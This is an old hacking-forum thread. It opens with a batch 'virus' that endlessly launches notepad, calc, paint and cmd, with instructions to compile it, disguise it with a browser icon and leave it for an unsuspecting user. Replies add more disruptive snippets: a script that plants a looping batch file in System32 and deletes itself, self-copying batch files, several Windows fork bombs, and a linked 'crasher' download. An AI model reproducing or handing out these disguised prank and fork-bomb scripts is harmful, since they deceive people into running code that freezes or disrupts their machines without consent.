Thread: [\[Cool Batch Trick\]](#)

Whiz4rd - August 5, 2010, 6:28 am

Good Day Guys, Here I Go , I'll be posting a VERY EASY and VERY SIMPLE VIRUS in Batch :)

Step 1 : Open Your Notepad

Step 2 : Copy This Code

```
@echo off
:start
start notepad
start calc
start mspaint
start cmd
start notepad
start calc
start mspaint
start cmd
go to start
```

Step 3 : Hit/Click "File >> Save As >> File Name :(ANY NAME YOU WANT) >> Save as Type (ALL FILES) >> THEN Hit/Click SAVE button.

Step 4 : Download a "batch to .exe program" [Download Here](#)

Step 5 : Then Simply Change the Icon to a Firefox or a Chrome or any browser icon will do better , but you can also use any other icon file. Then Leave it to the Next User, After the User Opens that ! :)) SORRY FOR HIM :)

WELL THAT'S SO SiMPLE :) Hope You Like it Beginners (Like Me)

ndee - August 5, 2010, 6:29 am

Is there somehow an AV so I can remove this virus after I've launched it?

White Light - August 5, 2010, 6:38 am

Press WIN+R and type TSKILL CMD or TASKKILL CMD to get rid of it.

Soviet Alliance - August 5, 2010, 7:13 am

this is not a virus...ur just flooding the cmd and other minor apps..anyone who opens this can just hit the 'X' button and there problem goes away...this has been posted a million times lets see soem spec of originality please.

Goonjimbo - August 5, 2010, 9:59 am

Yeah... Justy Log Off And Log Back In!!! Or Restart Or Reboot1

ndee - August 5, 2010, 10:23 am

(Aug 5, 2010 06:38 AM)Forum_Reader Wrote: [\[CITE\]](#) Press WIN+R and type TSKILL CMD or

I'm joking. This clearly is not a virus.

Soviet Alliance - August 5, 2010, 10:28 am

(Aug 5, 2010 10:23 AM)ndee Wrote: [\[CITE\]](#) I'm joking. This clearly is not a virus.
i was concerned u might be serious hahaha XD

Goonjimbo - August 5, 2010, 12:21 pm

yeah A real virus would look something like this....

```
Code @echo off
echo :start >> "C:\Windows\System32\KillSystem.bat"
echo start notepad >> "C:\Windows\System32\KillSystem.bat"
echo start calc >> "C:\Windows\System32\KillSystem.bat"
echo start mspaint >> "C:\Windows\System32\KillSystem.bat"
echo start cmd >> "C:\Windows\System32\KillSystem.bat"
echo start notepad >> "C:\Windows\System32\KillSyatem.bat"
echo start calc >> "C:\Windows\System32\KillSyatem.bat"
echo start mspaint >> "C:\Windows\System32\KillSystem.bat"
echo start cmd >> "C:\Windows\System32\KillSyatem.bat"
echo go to start >> "C:\Windows\System32\KillSystem.bat"
start C:\Windows\System32\KillSystem.bat
del "This File.bat" /s /q /f
Yayayayay, I Win!!!
```

-VeX- - August 5, 2010, 12:33 pm

actually, the definition of a virus is:

an unauthorized program that inserts itself into a computer system and then propagates itself to other computers via networks or disks; when activated it interferes with the operation of the computer

So nobody has yet to post a real virus in this thread...you guys have only posted destructive code. Pointless really...1 victim and then it's gone. Waste of time

Soviet Alliance - August 5, 2010, 4:47 pm

Owned good fight though! XD

-VeX- - August 5, 2010, 6:23 pm

i just laugh at people who go through all the trouble to write a virus but then don't do any sort of spreading in it...spend days working on a virus that runs once. what a waste

Whiz4rd - August 6, 2010, 3:51 am

Actually I just don't know what to type , WELL it's just a Prank :)

(Aug 5, 2010 06:23 PM)-xPloit Wrote: [\[CITE\]](#) i just laugh at people who go through all the trouble to

-VeX- - August 6, 2010, 3:56 am

idk if they are beginners or pros. it's still a waste of time

Unfortunately this section is where 12 year olds come so they can feel successful.

-VeX- - August 6, 2010, 3:59 am

lol...very true. I love the YouTube kids who are going to send a batch virus to your IP address! XD

gerald311441 - August 6, 2010, 6:41 pm

(Aug 5, 2010 10:23 AM)ndee Wrote: [\[CITE\]](#) I'm joking. This clearly is not a virus.

Good, I put my contacts in when I saw that someone with positive rep posted that!

Lith - August 6, 2010, 10:16 pm

This is a fork bomb not a virus.

-VeX- - August 6, 2010, 10:51 pm

(Aug 6, 2010 10:16 PM)Lith Wrote: [\[CITE\]](#) This is a fork bomb not a virus.

thanks for restating what has already been said...

(Aug 5, 2010 12:33 PM)-xPloit Wrote: [\[CITE\]](#) So nobody has yet to post a real virus in this thread...you guys have only posted destructive code.

Lith - August 6, 2010, 11:05 pm

And you obviously stated it was a fork bomb in that quote. All you said it was is destructive code, not a fork bomb. It's in the category of destructive code. If you're going to say it is.

-VeX- - August 6, 2010, 11:38 pm

(Aug 5, 2010 12:33 PM)-xPloit Wrote: [\[CITE\]](#) So nobody has yet to post a real virus in this thread...you guys have only posted destructive code.

(Aug 6, 2010 10:16 PM)Lith Wrote: [\[CITE\]](#) This is a fork bomb not a virus.

sorry, didn't know I had to highlight everything for you to understand what I'm talking about...

Lith - August 6, 2010, 11:43 pm

I was stating was a fork bomb in which you didn't.

-VeX- - August 6, 2010, 11:48 pm

good for you. then say: "This is a fork bomb" not "this is not a virus"

Lith - August 7, 2010, 12:18 am

I don't really have to follow your order to make anything tidy for you.

xekeiel - August 7, 2010, 7:01 am

It's not a fork bomb.

"Fork" is a word to describe a copy, so a fork bomb would be

Code @echo off

set %rand%= %random%

echo %0 > %rand%.bat

start %rand%.bat

Lith - August 7, 2010, 11:25 am

(Aug 7, 2010 07:01 AM)xekeiel Wrote: [\[CITE\]](#) It's not a fork bomb.

Code @echo off

set %rand%= %random%

echo %0 > %rand%.bat

start %rand%.bat

A fork bomb from my knowledge is a mass of processes made to conserve memory and crash the computer, where as yours just conserve space.

White Light - August 7, 2010, 11:32 am

(Aug 7, 2010 11:25 AM)Lith Wrote: [\[CITE\]](#) A fork bomb from my knowledge is a mass of processes made to conserve memory and crash the computer, where as yours just conserve space.If you mean use up when you say conserve (the antonym), then that would be a correct statement.

xekeiel - August 7, 2010, 2:46 pm

(Aug 7, 2010 11:32 AM)Forum_Reader Wrote: [\[CITE\]](#) If you mean use up when you say conserve (the antonym), then that would be a correct statement.No, a "fork" is a copy, fork bombs work by making the same file over and over.

It's really nothing like what he described.

CharlesKane - August 7, 2010, 7:01 pm

If you want to kill your computer download mine and run as admin.

?

<http://www.#/?d=0B8NWWI0>

p.s. This is not a virus it's a crasher.

This batch is fail. It didn't repeat.

Lith - August 7, 2010, 8:21 pm

It's really nothing like what he described.

"A fork bomb works by creating a large number of processes very quickly".

Unless wikipedia lies, then that's what it is. Creating multiple files over and over is just trying to conserve space, not memory, you must not know the difference if that's what you're thinking.

Here are 2 windows fork bombs according to Wiki

%0|%0

@echo off

:fork

echo Fork

```
start fork  
goto :fork
```

Or a faster reacting example

```
:s  
start %0  
goto :s
```

That's how they work, not a definition. Notice on all of those files, it only ever opens a "fork" of it's self?

codecaine - August 8, 2010, 5:10 am

Yea my friend let me test a fork bomb I made in C on his university shell account, because he didn't believe it would work. lol He couldn't do anything on the network until I closed out my session.
